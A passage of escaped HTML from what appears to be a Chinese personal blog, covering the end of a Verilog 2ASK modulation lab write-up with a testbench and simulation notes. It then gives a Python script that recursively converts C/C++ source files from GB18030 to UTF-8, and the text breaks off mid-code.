class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e q\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003einitial\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ebegin\u003c/span\u003e q \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e \u003cspan class=\"token number\"\u003e8\u0026#39;b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eend\u003c/span\u003e\u003cspan class=\"token important\"\u003ealways@\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token operator\"\u003e*\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ebegin\u003c/span\u003e \u003cspan class=\"token function\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003egate \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u0026#39;b1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ebegin\u003c/span\u003e q \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e data\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eend\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ebegin\u003c/span\u003e q \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e \u003cspan class=\"token number\"\u003e8\u0026#39;b01111111\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// +127将0变换过去\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eend\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eend\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eendmodule\u003c/span\u003e \u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch2 id=\"整合以及整体仿真\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/5f6b/#%E6%95%B4%E5%90%88%E4%BB%A5%E5%8F%8A%E6%95%B4%E4%BD%93%E4%BB%BF%E7%9C%9F\" class=\"headerlink\" title=\"整合以及整体仿真\"\u003e\u003c/a\u003e整合以及整体仿真\u003c/h2\u003e\u003cp\u003e将以上各个模块添加进实验给定的模板,并生成原理图,然后连线。\u003c/p\u003e\u003cp\u003e要整体仿真,所以要先把原理图转换为 \u003ccode\u003eVerilog\u003c/code\u003e (File -\u0026gt; Create / Update -\u0026gt; Create HDL Design File from Current File…),之后从工程文件移除原理图,设置生成的 \u003ccode\u003everilog\u003c/code\u003e 文件为顶层文件进行编译,然后仿真。\u003c/p\u003e\u003cp\u003e通过对比编译出来的 RTL 视图,符合给定框图。\u003c/p\u003e\u003cimg src=\"https://yun.ksfu.top/blog/2ASK/twoask.png\"/\u003e\u003cp\u003e整体仿真,只要注意 \u003ccode\u003eclk\u003c/code\u003e , \u003ccode\u003em_squence\u003c/code\u003e , \u003ccode\u003etwo_ask[7...0]\u003c/code\u003e 这几个信号就行。 \u003ccode\u003etestbench\u003c/code\u003e 如下:\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-verilog\" data-language=\"verilog\"\u003e\u003ccode class=\"language-verilog\"\u003e\u003cspan class=\"token constant\"\u003e`timescale\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u003c/span\u003ens\u003cspan class=\"token operator\"\u003e/\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003ens\u003cspan class=\"token keyword\"\u003emodule\u003c/span\u003e tb_sim\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ereg\u003c/span\u003e clk\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ewire\u003c/span\u003e m_squence\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ewire\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e7\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e two_ask\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003einitial\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ebegin\u003c/span\u003e clk \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u0026#39;b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eend\u003c/span\u003e\u003cspan class=\"token important\"\u003ealways\u003c/span\u003e \u003cspan class=\"token number\"\u003e#10\u003c/span\u003e clk \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token operator\"\u003e~\u003c/span\u003eclk\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003etwoask \u003cspan class=\"token function\"\u003etwoask_inst\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003e\u003cspan class=\"token function\"\u003eclk\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eclk\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003e\u003cspan class=\"token function\"\u003em_squence\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003em_squence\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003e\u003cspan class=\"token function\"\u003etwo_ask\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003etwo_ask\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eendmodule\u003c/span\u003e \u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e仿真波形:\u003c/p\u003e\u003cimg src=\"https://yun.ksfu.top/blog/2ASK/%E6%95%B4%E4%BD%93%E4%BB%BF%E7%9C%9F.jpg\"/\u003e\u003ch3 id=\"管脚分配\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/5f6b/#%E7%AE%A1%E8%84%9A%E5%88%86%E9%85%8D\" class=\"headerlink\" title=\"管脚分配\"\u003e\u003c/a\u003e管脚分配\u003c/h3\u003e\u003cp\u003e管脚分配啥的给的模板文件里已经分配好了,直接用就行。\u003c/p\u003e\u003ch2 id=\"总结\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/5f6b/#%E6%80%BB%E7%BB%93\" class=\"headerlink\" title=\"总结\"\u003e\u003c/a\u003e总结\u003c/h2\u003e\u003cp\u003e毕竟是主要是记录 \u003ccode\u003everilog\u003c/code\u003e 的一个学习过程,剩下的就不分析了,属于是实验报告里的活。这算是第一次用 \u003ccode\u003everilog\u003c/code\u003e 干这种比较综合的活?接触到了一些新玩意,IP核,mif文件之类的。也锻炼了从s一样实验指导手册里提炼信息的能力?\u003c/p\u003e\u003cp\u003e\u003cdel\u003e(然后细节和要补充的等后面想起来再说\u003c/del\u003e \u003c/p\u003e\u003cp\u003e \u003cdel\u003e(我超突然想起来线下验收完忘了拍时域波形\u003c/del\u003e\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"http://http//blog.ksfu.top/posts/5f6b/"},{"title":"批量转换文件编码gb2312转utf-8","time":"2022-08-10T09:32:11Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch1 id=\"批量转换文件编码gb2312转utf-8\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/2d8a/#%E6%89%B9%E9%87%8F%E8%BD%AC%E6%8D%A2%E6%96%87%E4%BB%B6%E7%BC%96%E7%A0%81gb2312%E8%BD%ACutf-8\" class=\"headerlink\" title=\"批量转换文件编码gb2312转utf-8\"\u003e\u003c/a\u003e批量转换文件编码gb2312转utf-8\u003c/h1\u003e\u003cp\u003e\u003cdel\u003e锟斤拷烫烫烫\u003c/del\u003e\u003c/p\u003e\u003cp\u003e这几天网上找代码学习用vscode打开之后中文全是乱码,转换编码为 \u003ccode\u003egb2312\u003c/code\u003e 后才正常显示,之前也因为这玩意狠狠的踩坑( \u003ccode\u003eKeil\u003c/code\u003e 默认的编码对中文来说太坑了。但是一个工程里文件很多,所以就需要一个批量把这些文件转换为 \u003ccode\u003eutf-8\u003c/code\u003e 的脚本。\u003c/p\u003e\u003cimg src=\"https://yun.ksfu.top/blog/gb2312/1.webp\" style=\"zoom: 67%;\"/\u003e\u003ch2 id=\"参考博客\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/2d8a/#%E5%8F%82%E8%80%83%E5%8D%9A%E5%AE%A2\" class=\"headerlink\" title=\"参考博客\"\u003e\u003c/a\u003e参考博客\u003c/h2\u003e\u003cblockquote\u003e\u003cp\u003e\u003ca href=\"https://blog.csdn.net/a417655340/article/details/124460824\"\u003e批量转换文件编码gb2312转utf-8_每天一罐可乐的博客-CSDN博客_批量转换编码格式\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://blog.csdn.net/qq_42336581/article/details/125776879\"\u003epython 递归遍历目录下的所有文件_Joy-\u0026gt;Boy的博客-CSDN博客_python递归获取文件夹下所有文件\u003c/a\u003e\u003c/p\u003e\u003c/blockquote\u003e\u003ch2 id=\"关于文件编码\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/2d8a/#%E5%85%B3%E4%BA%8E%E6%96%87%E4%BB%B6%E7%BC%96%E7%A0%81\" class=\"headerlink\" title=\"关于文件编码\"\u003e\u003c/a\u003e关于文件编码\u003c/h2\u003e\u003cp\u003eb站上找到的这个视频挺好。\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://www.bilibili.com/video/BV1U5411d7FB\"\u003e「烫烫屯屯锟斤拷」揭秘ASCII、GBK、UTF-8,B站独家,一听就懂\u003c/a\u003e\u003c/p\u003e\u003ciframe src=\"//player.bilibili.com/player.html?aid=468972234\u0026amp;bvid=BV1U5411d7FB\u0026amp;cid=715388833\u0026amp;page=1\" scrolling=\"no\" border=\"0\" frameborder=\"no\" framespacing=\"0\" allowfullscreen=\"true\"\u003e \u003c/iframe\u003e\u003ch2 id=\"脚本\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/2d8a/#%E8%84%9A%E6%9C%AC\" class=\"headerlink\" title=\"脚本\"\u003e\u003c/a\u003e脚本\u003c/h2\u003e\u003cp\u003e其实网上随便一搜就有好多,试了一个效果不错,但是只能转换根目录下的文件。于是我稍微做了点修改。\u003c/p\u003e\u003cp\u003e效果还是不错的\u003c/p\u003e\u003cdetails\u003e\u003csummary\u003e运行结果\u003c/summary\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\" language-bash\" data-language=\"bash\"\u003e\u003ccode class=\" language-bash\"\u003e请输入要转换编码的文件夹路径:C:\\Demo_OLED_STM32F103RCT6_Software_IIC===============================================================fileName fileEncoding===============================================================core_cm3.c GB18030core_cm3.h GB18030iic.c GB18030iic.h GB18030bmp.h GB18030oled.c GB18030oled.h GB18030oledfont.h GB18030RTE_Components.h GB18030misc.h GB18030stm32f10x_adc.h GB18030stm32f10x_bkp.h GB18030stm32f10x_can.h GB18030stm32f10x_cec.h GB18030stm32f10x_crc.h GB18030stm32f10x_dac.h GB18030stm32f10x_dbgmcu.h GB18030stm32f10x_dma.h GB18030stm32f10x_exti.h GB18030stm32f10x_flash.h GB18030stm32f10x_fsmc.h GB18030stm32f10x_gpio.h GB18030stm32f10x_i2c.h GB18030stm32f10x_iwdg.h GB18030stm32f10x_pwr.h GB18030stm32f10x_rcc.h GB18030stm32f10x_rtc.h GB18030stm32f10x_sdio.h GB18030stm32f10x_spi.h GB18030stm32f10x_tim.h GB18030stm32f10x_usart.h GB18030stm32f10x_wwdg.h GB18030misc.c GB18030stm32f10x_adc.c GB18030stm32f10x_bkp.c GB18030stm32f10x_can.c GB18030stm32f10x_cec.c GB18030stm32f10x_crc.c GB18030stm32f10x_dac.c GB18030stm32f10x_dbgmcu.c GB18030stm32f10x_dma.c GB18030stm32f10x_exti.c GB18030stm32f10x_flash.c GB18030stm32f10x_fsmc.c GB18030stm32f10x_gpio.c GB18030stm32f10x_i2c.c GB18030stm32f10x_iwdg.c GB18030stm32f10x_pwr.c GB18030stm32f10x_rcc.c GB18030stm32f10x_rtc.c GB18030stm32f10x_sdio.c GB18030stm32f10x_spi.c GB18030stm32f10x_tim.c GB18030stm32f10x_usart.c GB18030stm32f10x_wwdg.c GB18030delay.c GB18030delay.h GB18030sys.c GB18030sys.h GB18030gui.c GB18030gui.h GB18030main.c GB18030stm32f10x.h GB18030stm32f10x_conf.h GB18030stm32f10x_it.c GB18030stm32f10x_it.h GB18030system_stm32f10x.c GB18030system_stm32f10x.h GB18030test.c GB18030test.h GB18030---------错误统计------------共0个错误!-----------------------------\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003c/details\u003e\u003cimg src=\"https://yun.ksfu.top/blog/gb2312/2.webp\" style=\"zoom:67%;\"/\u003e\u003cp\u003e直接打开,舒服了\u003cspan class=\"diana_bixin\"\u003e\u003c/span\u003e\u003c/p\u003e\u003ch3 id=\"代码\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/2d8a/#%E4%BB%A3%E7%A0%81\" class=\"headerlink\" title=\"代码\"\u003e\u003c/a\u003e代码\u003c/h3\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-python\" data-language=\"python\"\u003e\u003ccode class=\"language-python\"\u003e\u003cspan class=\"token keyword\"\u003eimport\u003c/span\u003e os\u003cspan class=\"token keyword\"\u003eimport\u003c/span\u003e codecsgErrArray \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token keyword\"\u003edef\u003c/span\u003e \u003cspan class=\"token function\"\u003econvert\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003efileName\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e filePath\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e out_enc\u003cspan class=\"token operator\"\u003e=\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#34;utf-8\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token keyword\"\u003etry\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e content \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e codecs\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003e\u003cspan class=\"token builtin\"\u003eopen\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003efilePath\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#39;rb\u0026#39;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003eread\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token comment\"\u003e# 直接设置GB18030编码节省时间\u003c/span\u003e source_encoding \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#39;GB18030\u0026#39;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eprint\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#34;{0:50}{1}\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003e\u003cspan class=\"token builtin\"\u003eformat\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003efileName\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e source_encoding\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eif\u003c/span\u003e source_encoding \u003cspan class=\"token operator\"\u003e!=\u003c/span\u003e \u003cspan class=\"token boolean\"\u003eNone\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eif\u003c/span\u003e source_encoding \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e out_enc\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ereturn\u003c/span\u003e content \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e content\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003edecode\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003esource_encoding\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003eencode\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eout_enc\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e codecs\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003e\u003cspan class=\"token builtin\"\u003eopen\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003efilePath\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#39;wb\u0026#39;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003ewrite\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003econtent\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e gErrArray\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003eappend\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#34;can not recgonize file encoding %s\u0026#34;\u003c/span\u003e \u003cspan class=\"token operator\"\u003e%\u003c/span\u003e filePath\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eexcept\u003c/span\u003e Exception \u003cspan class=\"token keyword\"\u003eas\u003c/span\u003e err\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e gErrArray\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003eappend\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#34;%s:%s\u0026#34;\u003c/span\u003e \u003cspan class=\"token operator\"\u003e%\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003efilePath\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e err\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token keyword\"\u003edef\u003c/span\u003e \u003cspan class=\"token function\"\u003eshow_files\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ebase_path\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token triple-quoted-string string\"\u003e\u0026#34;\u0026#34;\u0026#34; 遍历当前目录所有py文件及文件夹 :param path: :param all_files: :return: \u0026#34;\u0026#34;\u0026#34;\u003c/span\u003e file_list \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e os\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003elistdir\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ebase_path\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token comment\"\u003e# 准备循环判断每个元素是否是文件夹还是文件,是文件的话,把名称传入list,是文件夹的话,递归\u003c/span\u003e \u003cspan class=\"token keyword\"\u003efor\u003c/span\u003e \u003cspan class=\"token builtin\"\u003efile\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ein\u003c/span\u003e file_list\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token comment\"\u003e# 利用os.path.join()方法取得路径全名,并存入cur_path变量,否则每次只能遍历一层目录\u003c/span\u003e cur_path \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e os\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003epath\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003ejoin\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ebase_path\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token builtin\"\u003efile\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token comment\"\u003e# 判断是否是文件夹\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eif\u003c/span\u003e os\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003epath\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003eisdir\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ecur_path\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e show_files\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ecur_path\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e suffix \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e os\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003epath\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003esplitext\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token builtin\"\u003efile\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eif\u003c/span\u003e suffix \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#39;.h\u0026#39;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eor\u003c/span\u003e suffix \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#39;.c\u0026#39;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eor\u003c/span\u003e suffix \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#39;.cpp\u0026#39;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eor\u003c/span\u003e suffix \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#39;.hpp\u0026#39;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eor\u003c/span\u003e suffix \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#39;.bat\u0026#39;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eor\u003c/span\u003e suffix \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#39;.java\u0026#39;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eor\u003c/span\u003e suffix \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#39;.txt\u0026#39;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e convert\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token builtin\"\u003efile\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e cur_path\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token keyword\"\u003edef\u003c/span\u003e \u003cspan class=\"token function\"\u003emain\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token comment\"\u003e#explore(os.getcwd())\u003c/span\u003e filePath \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token builtin\"\u003einput\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#34;请输入要转换编码的文件夹路径: \\n\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eprint\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#34;\\r\\n===============================================================\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eprint\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#34;{0:50}{1}\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003e\u003cspan class=\"token builtin\"\u003eformat\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#39;fileName\u0026#39;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#39;fileEncoding\u0026#39;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eprint\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#34;===============================================================\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e show_files\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003efilePath\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eprint\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#39;\\r\\n---------错误统计------------\u0026#39;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token keyword\"\u003efor\u003c/span\u003e index\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e item \u003cspan class=\"token keyword\"\u003ein\u003c/span\u003e \u003cspan class=\"token builtin\"\u003eenumerate\u003c/span\u003e\u003cspan class=\"token 